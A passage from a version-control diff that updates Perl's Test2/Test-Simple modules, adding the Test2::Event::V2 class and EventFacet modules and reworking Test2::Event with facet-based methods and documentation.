+    causes_fail diagnostics global increments_count no_display sets_plan
+    subtest_id summary terminate
+};
+
+use Test2::Util::HashBase qw/-about/;
+
+sub non_facet_keys {
+    return (
+        +UUID,
+        Test2::Util::ExternalMeta::META_KEY(),
+    );
+}
+
+sub init {
+    my $self = shift;
+
+    my $uuid;
+    if ($uuid = $self->{+UUID}) {
+        croak "uuid '$uuid' passed to constructor, but uuid '$self->{+ABOUT}->{uuid}' is already set in the 'about' facet"
+            if $self->{+ABOUT}->{uuid} && $self->{+ABOUT}->{uuid} ne $uuid;
+
+        $self->{+ABOUT}->{uuid} = $uuid;
+    }
+    elsif ($uuid = $self->{+ABOUT}->{uuid}) {
+        $self->SUPER::set_uuid($uuid);
+    }
+
+    # Clone the trace, make sure it is blessed
+    if (my $trace = $self->{+TRACE}) {
+        $self->{+TRACE} = Test2::EventFacet::Trace->new(%$trace);
+    }
+}
+
+sub set_uuid {
+    my $self = shift;
+    my ($uuid) = @_;
+    $self->{+ABOUT}->{uuid} = $uuid;
+    $self->SUPER::set_uuid($uuid);
+}
+
+sub facet_data {
+    my $self = shift;
+    my $f = { %{$self} };
+
+    delete $f->{$_} for $self->non_facet_keys;
+
+    my %out;
+    for my $k (keys %$f) {
+        next if substr($k, 0, 1) eq '_';
+
+        my $data = $f->{$k};
+        my $is_list = reftype($data) eq 'ARRAY';
+        $out{$k} = $is_list ? [ map { {%{$_}} } @$data ] : {%$data};
+    }
+
+    if (my $meta = $self->meta_facet_data) {
+        $out{meta} = {%$meta, %{$out{meta} || {}}};
+    }
+
+    return \%out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::V2 - Second generation event.
+
+=head1 DESCRIPTION
+
+This is the event type that should be used instead of L<Test2::Event> or its
+legacy subclasses.
+
+=head1 SYNOPSIS
+
+=head2 USING A CONTEXT
+
+    use Test2::API qw/context/;
+
+    sub my_tool {
+        my $ctx = context();
+
+        my $event = $ctx->send_ev2(info => [{tag => 'NOTE', details => "This is a note"}]);
+
+        $ctx->release;
+
+        return $event;
+    }
+
+=head2 USING THE CONSTRUCTOR
+
+    use Test2::Event::V2;
+
+    my $e = Test2::Event::V2->new(
+        trace => {frame => [$PKG, $FILE, $LINE, $SUBNAME]},
+        info  => [{tag => 'NOTE', details => "This is a note"}],
+    );
+
+=head1 METHODS
+
+This class inherits from L<Test2::Event>.
+
+=over 4
+
+=item $fd = $e->facet_data()
+
+This will return a hashref of facet data. Each facet hash will be a shallow
+copy of the original.
+
+=item $about = $e->about()
+
+This will return the 'about' facet hashref.
+
+B<NOTE:> This will return the internal hashref, not a copy.
+
+=item $trace = $e->trace()
+
+This will return the 'trace' facet, normally blessed (but this is not enforced
+when the trace is set using C<set_trace()>.
+
+B<NOTE:> This will return the internal trace, not a copy.
+
+=back
+
+=head2 MUTATION
+
+=over 4
+
+=item $e->add_amnesty({...})
+
+Inherited from L<Test2::Event>. This can be used to add 'amnesty' facets to an
+existing event. Each new item is added to the B<END> of the list.
+
+B<NOTE:> Items B<ARE> blessed when added.
+
+=item $e->add_hub({...})
+
+Inherited from L<Test2::Event>. This is used by hubs to stamp events as they
+pass through. New items are added to the B<START> of the list.
+
+B<NOTE:> Items B<ARE NOT> blessed when added.
+
+=item $e->set_uuid($UUID)
+
+Inherited from L<Test2::Event>, overridden to also vivify/mutate the 'about'
+facet.
+
+=item $e->set_trace($trace)
+
+Inherited from L<Test2::Event> which allows you to change the trace.
+
+B<Note:> This method does not bless/clone the trace for you. Many things will
+expect the trace to be blessed, so you should probably do that.
+
+=back
+
+=head2 LEGACY SUPPORT METHODS
+
+These are all imported from L<Test2::Util::Facets2Legacy>, see that module or
+L<Test2::Event> for documentation on what they do.
+
+=over 4
+
+=item causes_fail
+
+=item diagnostics
+
+=item global
+
+=item increments_count
+
+=item no_display
+
+=item sets_plan
+
+=item subtest_id
+
+=item summary
+
+=item terminate
+
+=back
+
+=head1 THIRD PARTY META-DATA
+
+This object consumes L<Test2::Util::ExternalMeta> which provides a consistent
+way for you to attach meta-data to instances of this class. This is useful for
+tools, plugins, and other extensions.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Waiting.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Waiting.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Waiting.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,15 +2,30 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase;
 
 sub global { 1 };
 
 sub summary { "IPC is waiting for children to finish..." }
 
+sub facet_data {
+    my $self = shift;
+
+    my $out = $self->common_facet_data;
+
+    push @{$out->{info}} => {
+        tag     => 'INFO',
+        debug   => 0,
+        details => $self->summary,
+    };
+
+    return $out;
+}
+
 1;
 
 __END__
@@ -51,7 +66,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,17 +2,78 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
-use Test2::Util::HashBase qw/trace nested in_subtest subtest_id/;
+use Scalar::Util qw/blessed reftype/;
+use Carp qw/croak/;
+
+use Test2::Util::HashBase qw/trace -amnesty uuid -hubs/;
 use Test2::Util::ExternalMeta qw/meta get_meta set_meta delete_meta/;
 use Test2::Util qw(pkg_to_file);
-use Test2::Util::Trace;
 
+use Test2::EventFacet::About();
+use Test2::EventFacet::Amnesty();
+use Test2::EventFacet::Assert();
+use Test2::EventFacet::Control();
+use Test2::EventFacet::Error();
+use Test2::EventFacet::Info();
+use Test2::EventFacet::Meta();
+use Test2::EventFacet::Parent();
+use Test2::EventFacet::Plan();
+use Test2::EventFacet::Trace();
+use Test2::EventFacet::Hub();
+
+# Legacy tools will expect this to be loaded now
+require Test2::Util::Trace;
+
+my %LOADED_FACETS = (
+    'about'   => 'Test2::EventFacet::About',
+    'amnesty' => 'Test2::EventFacet::Amnesty',
+    'assert'  => 'Test2::EventFacet::Assert',
+    'control' => 'Test2::EventFacet::Control',
+    'errors'  => 'Test2::EventFacet::Error',
+    'info'    => 'Test2::EventFacet::Info',
+    'meta'    => 'Test2::EventFacet::Meta',
+    'parent'  => 'Test2::EventFacet::Parent',
+    'plan'    => 'Test2::EventFacet::Plan',
+    'trace'   => 'Test2::EventFacet::Trace',
+    'hubs'    => 'Test2::EventFacet::Hub',
+);
+
+sub FACET_TYPES { sort values %LOADED_FACETS }
+
+sub load_facet {
+    my $class = shift;
+    my ($facet) = @_;
+
+    return $LOADED_FACETS{$facet} if exists $LOADED_FACETS{$facet};
+
+    my @check = ($facet);
+    if ('s' eq substr($facet, -1, 1)) {
+        push @check => substr($facet, 0, -1);
+    }
+    else {
+        push @check => $facet . 's';
+    }
+
+    my $found;
+    for my $check (@check) {
+        my $mod  = "Test2::EventFacet::" . ucfirst($facet);
+        my $file = pkg_to_file($mod);
+        next unless eval { require $file; 1 };
+        $found = $mod;
+        last;
+    }
+
+    return undef unless $found;
+    $LOADED_FACETS{$facet} = $found;
+}
+
 sub causes_fail      { 0 }
 sub increments_count { 0 }
 sub diagnostics      { 0 }
 sub no_display       { 0 }
+sub subtest_id       { undef }
 
 sub callback { }
 
@@ -22,33 +83,240 @@
 
 sub summary { ref($_[0]) }
 
-sub from_json {
-    my $class = shift;
-	my %p     = @_;
+sub related {
+    my $self = shift;
+    my ($event) = @_;
 
-    my $event_pkg = delete $p{__PACKAGE__};
-	require(pkg_to_file($event_pkg));
+    my $tracea = $self->trace  or return undef;
+    my $traceb = $event->trace or return undef;
 
-	if (exists $p{trace}) {
-		$p{trace} = Test2::Util::Trace->from_json(%{$p{trace}});
-	}
+    my $uuida = $tracea->uuid;
+    my $uuidb = $traceb->uuid;
+    if ($uuida && $uuidb) {
+        return 1 if $uuida eq $uuidb;
+        return 0;
+    }
 
-	if (exists $p{subevents}) {
-		my @subevents;
-		for my $subevent (@{delete $p{subevents} || []}) {
-			push @subevents, Test2::Event->from_json(%$subevent);
-		}
-		$p{subevents} = \@subevents;
-	}
+    my $siga = $tracea->signature or return undef;
+    my $sigb = $traceb->signature or return undef;
 
-    return $event_pkg->new(%p);
+    return 1 if $siga eq $sigb;
+    return 0;
 }
 
-sub TO_JSON {
+sub add_hub {
     my $self = shift;
-    return {%$self, __PACKAGE__ => ref $self};
+    unshift @{$self->{+HUBS}} => @_;
 }
 
+sub add_amnesty {
+    my $self = shift;
+
+    for my $am (@_) {
+        $am = {%$am} if ref($am) ne 'ARRAY';
+        $am = Test2::EventFacet::Amnesty->new($am);
+
+        push @{$self->{+AMNESTY}} => $am;
+    }
+}
+
+sub common_facet_data {
+    my $self = shift;
+
+    my %out;
+
+    $out{about} = {package => ref($self) || undef};
+    if (my $uuid = $self->uuid) {
+        $out{about}->{uuid} = $uuid;
+    }
+
+    if (my $trace = $self->trace) {
+        $out{trace} = { %$trace };
+    }
+
+    if (my $hubs = $self->hubs) {
+        $out{hubs} = $hubs;
+    }
+
+    $out{amnesty} = [map {{ %{$_} }} @{$self->{+AMNESTY}}]
+        if $self->{+AMNESTY};
+
+    if (my $meta = $self->meta_facet_data) {
+        $out{meta} = $meta;
+    }
+
+    return \%out;
+}
+
+sub meta_facet_data {
+    my $self = shift;
+
+    my $key = Test2::Util::ExternalMeta::META_KEY();
+
+    my $hash = $self->{$key} or return undef;
+    return {%$hash};
+}
+
+sub facet_data {
+    my $self = shift;
+
+    my $out = $self->common_facet_data;
+
+    $out->{about}->{details}    = $self->summary    || undef;
+    $out->{about}->{no_display} = $self->no_display || undef;
+
+    # Might be undef, we want to preserve that
+    my $terminate = $self->terminate;
+    $out->{control} = {
+        global    => $self->global    || 0,
+        terminate => $terminate,
+        has_callback => $self->can('callback') == \&callback ? 0 : 1,
+    };
+
+    $out->{assert} = {
+        no_debug => 1,                     # Legacy behavior
+        pass     => $self->causes_fail ? 0 : 1,
+        details  => $self->summary,
+    } if $self->increments_count;
+
+    $out->{parent} = {hid => $self->subtest_id} if $self->subtest_id;
+
+    if (my @plan = $self->sets_plan) {
+        $out->{plan} = {};
+
+        $out->{plan}->{count}   = $plan[0] if defined $plan[0];
+        $out->{plan}->{details} = $plan[2] if defined $plan[2];
+
+        if ($plan[1]) {
+            $out->{plan}->{skip} = 1 if $plan[1] eq 'SKIP';
+            $out->{plan}->{none} = 1 if $plan[1] eq 'NO PLAN';
+        }
+
+        $out->{control}->{terminate} ||= 0 if $out->{plan}->{skip};
+    }
+
+    if ($self->causes_fail && !$out->{assert}) {
+        $out->{errors} = [
+            {
+                tag     => 'FAIL',
+                fail    => 1,
+                details => $self->summary,
+            }
+        ];
+    }
+
+    my %IGNORE = (trace => 1, about => 1, control => 1);
+    my $do_info = !grep { !$IGNORE{$_} } keys %$out;
+
+    if ($do_info && !$self->no_display && $self->diagnostics) {
+        $out->{info} = [
+            {
+                tag     => 'DIAG',
+                debug   => 1,
+                details => $self->summary,
+            }
+        ];
+    }
+
+    return $out;
+}
+
+sub facets {
+    my $self = shift;
+    my %out;
+
+    my $data = $self->facet_data;
+    my @errors = $self->validate_facet_data($data);
+    die join "\n" => @errors if @errors;
+
+    for my $facet (keys %$data) {
+        my $class = $self->load_facet($facet);
+        my $val = $data->{$facet};
+
+        unless($class) {
+            $out{$facet} = $val;
+            next;
+        }
+
+        my $is_list = reftype($val) eq 'ARRAY' ? 1 : 0;
+        if ($is_list) {
+            $out{$facet} = [map { $class->new($_) } @$val];
+        }
+        else {
+            $out{$facet} = $class->new($val);
+        }
+    }
+
+    return \%out;
+}
+
+sub validate_facet_data {
+    my $class_or_self = shift;
+    my ($f, %params);
+
+    $f = shift if @_ && (reftype($_[0]) || '') eq 'HASH';
+    %params = @_;
+
+    $f ||= $class_or_self->facet_data if blessed($class_or_self);
+    croak "No facet data" unless $f;
+
+    my @errors;
+
+    for my $k (sort keys %$f) {
+        my $fclass = $class_or_self->load_facet($k);
+
+        push @errors => "Could not find a facet class for facet '$k'"
+            if $params{require_facet_class} && !$fclass;
+
+        next unless $fclass;
+
+        my $v = $f->{$k};
+        next unless defined($v); # undef is always fine
+
+        my $is_list = $fclass->is_list();
+        my $got_list = reftype($v) eq 'ARRAY' ? 1 : 0;
+
+        push @errors => "Facet '$k' should be a list, but got a single item ($v)"
+            if $is_list && !$got_list;
+
+        push @errors => "Facet '$k' should not be a list, but got a a list ($v)"
+            if $got_list && !$is_list;
+    }
+
+    return @errors;
+}
+
+sub nested {
+    my $self = shift;
+
+    Carp::cluck("Use of Test2::Event->nested() is deprecated, use Test2::Event->trace->nested instead")
+        if $ENV{AUTHOR_TESTING};
+
+    if (my $hubs = $self->{+HUBS}) {
+        return $hubs->[0]->{nested} if @$hubs;
+    }
+
+    my $trace = $self->{+TRACE} or return undef;
+    return $trace->{nested};
+}
+
+sub in_subtest {
+    my $self = shift;
+
+    Carp::cluck("Use of Test2::Event->in_subtest() is deprecated, use Test2::Event->trace->hid instead")
+        if $ENV{AUTHOR_TESTING};
+
+    my $hubs = $self->{+HUBS};
+    if ($hubs && @$hubs) {
+        return undef unless $hubs->[0]->{nested};
+        return $hubs->[0]->{hid}
+    }
+
+    my $trace = $self->{+TRACE} or return undef;
+    return undef unless $trace->{nested};
+    return $trace->{hid};
+}
+
 1;
 
 __END__
@@ -80,6 +348,10 @@
     # want, or roll your own accessors.
     use Test2::Util::HashBase qw/foo bar baz/;
 
+    # Use this if you want the legacy API to be written for you, for this to
+    # work you will need to implement a facet_data() method.
+    use Test2::Util::Facets2Legacy;
+
     # Chance to initialize some defaults
     sub init {
         my $self = shift;
@@ -90,17 +362,298 @@
         ...
     }
 
+    # This is the new way for events to convey data to the Test2 system
+    sub facet_data {
+        my $self = shift;
+
+        # Get common facets such as 'about', 'trace' 'amnesty', and 'meta'
+        my $facet_data = $self->common_facet_data();
+
+        # Are you making an assertion?
+        $facet_data->{assert} = {pass => 1, details => 'my assertion'};
+        ...
+
+        return $facet_data;
+    }
+
     1;
 
 =head1 METHODS
 
+=head2 GENERAL
+
 =over 4
 
 =item $trace = $e->trace
 
-Get a snapshot of the L<Test2::Util::Trace> as it was when this event was
+Get a snapshot of the L<Test2::EventFacet::Trace> as it was when this event was
 generated
 
+=item $bool_or_undef = $e->related($e2)
+
+Check if 2 events are related. In this case related means their traces share a
+signature meaning they were created with the same context (or at the very least
+by contexts which share an id, which is the same thing unless someone is doing
+something very bad).
+
+This can be used to reliably link multiple events created by the same tool. For
+instance a failing test like C<ok(0, "fail"> will generate 2 events, one being
+a L<Test2::Event::Ok>, the other being a L<Test2::Event::Diag>, both of these
+events are related having been created under the same context and by the same
+initial tool (though multiple tools may have been nested under the initial
+one).
+
+This will return C<undef> if the relationship cannot be checked, which happens
+if either event has an incomplete or missing trace. This will return C<0> if
+the traces are complete, but do not match. C<1> will be returned if there is a
+match.
+
+=item $e->add_amnesty({tag => $TAG, details => $DETAILS});
+
+This can be used to add amnesty to this event. Amnesty only effects failing
+assertions in most cases, but some formatters may display them for passing
+assertions, or even non-assertions as well.
+
+Amnesty will prevent a failed assertion from causing the overall test to fail.
+In other words it marks a failure as expected and allowed.
+
+B<Note:> This is how 'TODO' is implemented under the hood. TODO is essentially
+amnesty with the 'TODO' tag. The details are the reason for the TODO.
+
+=item $uuid = $e->uuid
+
+If UUID tagging is enabled (See L<Test::API>) then any event that has made its
+way through a hub will be tagged with a UUID. A newly created event will not
+yet be tagged in most cases.
+
+=item $class = $e->load_facet($name)
+
+This method is used to load a facet by name (or key). It will attempt to load
+the facet class, if it succeeds it will return the class it loaded. If it fails
+it will return C<undef>. This caches the result at the class level so that
+future calls will be faster.
+
+The C<$name> variable should be the key used to access the facet in a facets
+hashref. For instance the assertion facet has the key 'assert', the information
+facet has the 'info' key, and the error facet has the key 'errors'. You may
+include or omit the 's' at the end of the name, the method is smart enough to
+try both the 's' and no-'s' forms, it will check what you provided first, and
+if that is not found it will add or strip the 's and try again.
+
+=item @classes = $e->FACET_TYPES()
+
+=item @classes = Test2::Event->FACET_TYPES()
+
+This returns a list of all facets that have been loaded using the
+C<load_facet()> method. This will not return any classes that have not been
+loaded, or have been loaded directly without a call to C<load_facet()>.
+
+B<Note:> The core facet types are automatically loaded and populated in this
+list.
+
+=back
+
+=head2 NEW API
+
+=over 4
+
+=item $hashref = $e->common_facet_data();
+
+This can be used by subclasses to generate a starting facet data hashref. This
+will populate the hashref with the trace, meta, amnesty, and about facets.
+These facets are nearly always produced the same way for all events.
+
+=item $hashref = $e->facet_data()
+
+If you do not override this then the default implementation will attempt to
+generate facets from the legacy API. This generation is limited only to what
+the legacy API can provide. It is recommended that you override this method and
+write out explicit facet data.
+
+=item $hashref = $e->facets()
+
+This takes the hashref from C<facet_data()> and blesses each facet into the
+proper C<Test2::EventFacet::*> subclass. If no class can be found for any given
+facet it will be passed along unchanged.
+
+=item @errors = $e->validate_facet_data();
+
+=item @errors = $e->validate_facet_data(%params);
+
+=item @errors = $e->validate_facet_data(\%facets, %params);
+
+=item @errors = Test2::Event->validate_facet_data(%params);
+
+=item @errors = Test2::Event->validate_facet_data(\%facets, %params);
+
+This method will validate facet data and return a list of errors. If no errors
+are found this will return an empty list.
+
+This can be called as an object method with no arguments, in which case the
+C<facet_data()> method will be called to get the facet data to be validated.
+
+When used as an object method the C<\%facet_data> argument may be omitted.
+
+When used as a class method the C<\%facet_data> argument is required.
+
+Remaining arguments will be slurped into a C<%params> hash.
+
+Currently only 1 parameter is defined:
+
+=over 4
+
+=item require_facet_class => $BOOL
+
+When set to true (default is false) this will reject any facets where a facet
+class cannot be found. Normally facets without classes are assumed to be custom
+and are ignored.
+
+=back
+
+=back
+
+=head3 WHAT ARE FACETS?
+
+Facets are how events convey their purpose to the Test2 internals and
+formatters. An event without facets will have no intentional effect on the
+overall test state, and will not be displayed at all by most formatters, except
+perhaps to say that an event of an unknown type was seen.
+
+Facets are produced by the C<facet_data()> subroutine, which you should
+nearly-always override. C<facet_data()> is expected to return a hashref where
+each key is the facet type, and the value is either a hashref with the data for
+that facet, or an array of hashref's. Some facets must be defined as single
+hashrefs, some must be defined as an array of hashrefs, No facets allow both.
+
+C<facet_data()> B<MUST NOT> bless the data it returns, the main hashref, and
+nested facet hashref's B<MUST> be bare, though items contained within each
+facet may be blessed. The data returned by this method B<should> also be copies
+of the internal data in order to prevent accidental state modification.
+
+C<facets()> takes the data from C<facet_data()> and blesses it into the
+C<Test2::EventFacet::*> packages. This is rarely used however, the EventFacet
+packages are primarily for convenience and documentation. The EventFacet
+classes are not used at all internally, instead the raw data is used.
+
+Here is a list of facet types by package. The packages are not used internally,
+but are where the documentation for each type is kept.
+
+B<Note:> Every single facet type has the C<'details'> field. This field is
+always intended for human consumption, and when provided, should explain the
+'why' for the facet. All other fields are facet specific.
+
+=over 4
+
+=item about => {...}
+
+L<Test2::EventFacet::About>
+
+This contains information about the event itself such as the event package
+name. The C<details> field for this facet is an overall summary of the event.
+
+=item assert => {...}
+
+L<Test2::EventFacet::Assert>
+
+This facet is used if an assertion was made. The C<details> field of this facet
+is the description of the assertion.
+
+=item control => {...}
+
+L<Test2::EventFacet::Control>
+
+This facet is used to tell the L<Test2::Event::Hub> about special actions the
+event causes. Things like halting all testing, terminating the current test,
+etc. In this facet the C<details> field explains why any special action was
+taken.
+
+B<Note:> This is how bail-out is implemented.
+
+=item meta => {...}
+
+L<Test2::EventFacet::Meta>
+
+The meta facet contains all the meta-data attached to the event. In this case
+the C<details> field has no special meaning, but may be present if something
+sets the 'details' meta-key on the event.
+
+=item parent => {...}
+
+L<Test2::EventFacet::Parent>
+
+This facet contains nested events and similar details for subtests. In this
+facet the C<details> field will typically be the name of the subtest.
+
+=item plan => {...}
+
+L<Test2::EventFacet::Plan>
+
+This facet tells the system that a plan has been set. The C<details> field of
+this is usually left empty, but when present explains why the plan is what it
+is, this is most useful if the plan is to skip-all.
+
+=item trace => {...}
+
+L<Test2::EventFacet::Trace>
+
+This facet contains information related to when and where the event was
+generated. This is how the test file and line number of a failure is known.
+This facet can also help you to tell if tests are related.
+
+In this facet the C<details> field overrides the "failed at test_file.t line
+42." message provided on assertion failure.
+
+=item amnesty => [{...}, ...]
+
+L<Test2::EventFacet::Amnesty>
+
+The amnesty facet is a list instead of a single item, this is important as
+amnesty can come from multiple places at once.
+
+For each instance of amnesty the C<details> field explains why amnesty was
+granted.
+
+B<Note:> Outside of formatters amnesty only acts to forgive a failing
+assertion.
+
+=item errors => [{...}, ...]
+
+L<Test2::EventFacet::Error>
+
+The errors facet is a list instead of a single item, any number of errors can
+be listed. In this facet C<details> describes the error, or may contain the raw
+error message itself (such as an exception). In perl exception may be blessed
+objects, as such the raw data for this facet may contain nested items which are
+blessed.
+
+Not all errors are considered fatal, there is a C<fail> field that must be set
+for an error to cause the test to fail.
+
+B<Note:> This facet is unique in that the field name is 'errors' while the
+package is 'Error'. This is because this is the only facet type that is both a
+list, and has a name where the plural is not the same as the singular. This may
+cause some confusion, but I feel it will be less confusing than the
+alternative.
+
+=item info => [{...}, ...]
+
+L<Test2::EventFacet::Info>
+
+The 'info' facet is a list instead of a single item, any quantity of extra
+information can be attached to an event. Some information may be critical
+diagnostics, others may be simply commentary in nature, this is determined by
+the C<debug> flag.
+
+For this facet the C<details> flag is the info itself. This info may be a
+string, or it may be a data structure to display. This is one of the few facet
+types that may contain blessed items.
+
+=back
+
+=head2 LEGACY API
+
+=over 4
+
 =item $bool = $e->causes_fail
 
 Returns true if this event should result in a test failure. In general this
@@ -117,11 +670,6 @@
 
 This is called B<BEFORE> your event is passed to the formatter.
 
-=item $call = $e->created
-
-Get the C<caller()> details from when the event was generated. This is usually
-inside a tools package. This is typically used for debugging.
-
 =item $num = $e->nested
 
 If this event is nested inside of other events, this should be the depth of
@@ -150,23 +698,6 @@
 This is called after the event has been sent to the formatter in order to
 ensure the event is seen and understood.
 
-=item $todo = $e->todo
-
-=item $e->set_todo($todo)
-
-Get/Set the todo reason on the event. Any value other than C<undef> makes the
-event 'TODO'.
-
-Not all events make use of this field, but they can all have it set/cleared.
-
-=item $bool = $e->diag_todo
-
-=item $e->diag_todo($todo)
-
-True if this event should be considered 'TODO' for diagnostics purposes. This
-essentially means that any message that would go to STDERR will go to STDOUT
-instead so that a harness will hide it outside of verbose mode.
-
 =item $msg = $e->summary
 
 This is intended to be a human readable summary of the event. This should
@@ -202,17 +733,6 @@
 
 If the event is a final subtest event, this should contain the subtest ID.
 
-=item $hashref = $e->TO_JSON
-
-This returns a hashref suitable for passing to the C<< Test2::Event->from_json
->> constructor. It is intended for use with the L<JSON> family of modules,
-which will look for a C<TO_JSON> method when C<convert_blessed> is true.
-
-=item $e = Test2::Event->from_json(%$hashref)
-
-Given the hash of data returned by C<< $e->TO_JSON >>, this method returns a
-new event object of the appropriate subclass.
-
 =back
 
 =head1 THIRD PARTY META-DATA
@@ -244,7 +764,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/About.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/About.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/About.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,86 @@
+package Test2::EventFacet::About;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -package -no_display -uuid };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::About - Facet with event details.
+
+=head1 DESCRIPTION
+
+This facet has information about the event, such as event package.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $about->{details}
+
+=item $string = $about->details()
+
+Summary about the event.
+
+=item $package = $about->{package}
+
+=item $package = $about->package()
+
+Event package name.
+
+=item $bool = $about->{no_display}
+
+=item $bool = $about->no_display()
+
+True if the event should be skipped by formatters.
+
+=item $uuid = $about->{uuid}
+
+=item $uuid = $about->uuid()
+
+Will be set to a uuid if uuid tagging was enabled.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,91 @@
+package Test2::EventFacet::Amnesty;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+sub is_list { 1 }
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -tag -inherited };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Amnesty - Facet for assertion amnesty.
+
+=head1 DESCRIPTION
+
+This package represents what is expected in units of amnesty.
+
+=head1 NOTES
+
+This facet appears in a list instead of being a single item.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $amnesty->{details}
+
+=item $string = $amnesty->details()
+
+Human readable explanation of why amnesty was granted.
+
+Example: I<Not implemented yet, will fix>
+
+=item $short_string = $amnesty->{tag}
+
+=item $short_string = $amnesty->tag()
+
+Short string (usually 10 characters or less, not enforced, but may be truncated
+by renderers) categorizing the amnesty.
+
+=item $bool = $amnesty->{inherited}
+
+=item $bool = $amnesty->inherited()
+
+This will be true if the amnesty was granted to a parent event and inherited by
+this event, which is a child, such as an assertion within a subtest that is
+marked todo.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,93 @@
+package Test2::EventFacet::Assert;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -pass -no_debug -number };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Assert - Facet representing an assertion.
+
+=head1 DESCRIPTION
+
+The assertion facet is provided by any event representing an assertion that was
+made.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $assert->{details}
+
+=item $string = $assert->details()
+
+Human readable description of the assertion.
+
+=item $bool = $assert->{pass}
+
+=item $bool = $assert->pass()
+
+True if the assertion passed.
+
+=item $bool = $assert->{no_debug}
+
+=item $bool = $assert->no_debug()
+
+Set this to true if you have provided custom diagnostics and do not want the
+defaults to be displayed.
+
+=item $int = $assert->{number}
+
+=item $int = $assert->number()
+
+(Optional) assertion number. This may be omitted or ignored. This is usually
+only useful when parsing/processing TAP.
+
+B<Note>: This is not set by the Test2 system, assertion number is not known
